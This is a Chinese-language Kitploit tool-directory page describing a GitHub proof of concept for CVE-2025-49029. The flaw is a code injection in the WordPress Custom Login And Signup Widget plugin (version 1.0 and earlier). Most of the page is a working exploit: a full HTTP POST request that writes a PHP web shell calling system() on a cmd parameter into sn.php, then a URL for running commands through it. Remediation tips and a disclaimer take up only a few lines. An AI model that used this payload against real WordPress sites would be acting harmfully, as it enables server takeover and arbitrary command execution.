Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-49029 — WordPress Custom Login And Signup Widget Plugin <= 1.0 存在任意代码执行漏洞 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-49029
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubnxploited/cve-2025-49029

CVE-2025-49029

WordPress Custom Login And Signup Widget Plugin <= 1.0 存在任意代码执行漏洞

查看仓库
21年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚨 WordPress Custom Login And Signup Widget 插件 <= 1.0 - 任意代码执行(RCE)

🐞 漏洞摘要

bitto.Kazi Custom Login And Signup Widget 中存在生成代码的控制不当('代码注入')漏洞,允许经过身份验证的管理员用户执行任意的PHP代码。
该问题影响所有
包括1.0及之前
的版本。

🔥 基础分数: 9.1(严重)
CWE ID: CWE-94 – 生成代码的控制不当('代码注入')


🧠 描述

该插件允许管理员通过设置页面中的发件人名称字段修改 sn.php 的内容。
用户提供的输入被直接写入 PHP 文件,未经清理或验证。

因此,在 text 参数中提供的任何PHP代码都将被存储到PHP文件中,并在直接请求时执行,导致远程代码执行(RCE)。


📍 漏洞端点

root@kitploit:~
/wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes

📥 请求(Burp Suite 格式)

root@kitploit:~
POST /wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://target.com/wp-admin/options-general.php?page=custom-login-and-signup-widget
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://target.com
Connection: keep-alive
Cookie: *<insert your admin cookie here>*
Upgrade-Insecure-Requests: 1
Priority: u=0, i

text=%3C%3Fphp+if%28isset%28%24_GET%5B%27cmd%27%5D%29%29+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&submit=Submit

💉 注入点

  • 参数:text
  • 类型:POST
  • 所需角色:管理员
  • 受影响文件:sn.php(插件配置包含)

🧬 注入内容存储在文件中

root@kitploit:~
<?php
global $bwbn;
if(isset($_GET['cmd'])) system($_GET['cmd']);
?>

📁 文件写入位置:

root@kitploit:~
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php

成功注入后,可直接访问以下URL执行命令:

root@kitploit:~
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php?cmd=id

🛡️ 建议

  • 限制文件写入操作。
  • 在写入PHP文件之前对所有输入进行清理和验证。
  • 绝不允许将动态内容写入 .php 文件。

⚠️ 免责声明

本项目仅用于教育和研究目的。
任何使用所提供信息的行为都需自担风险。
作者对因使用此内容而导致的任何误用或损害不承担任何责任。


✍️ 作者:Khaled_Alenazi (Nxploited)

下载工具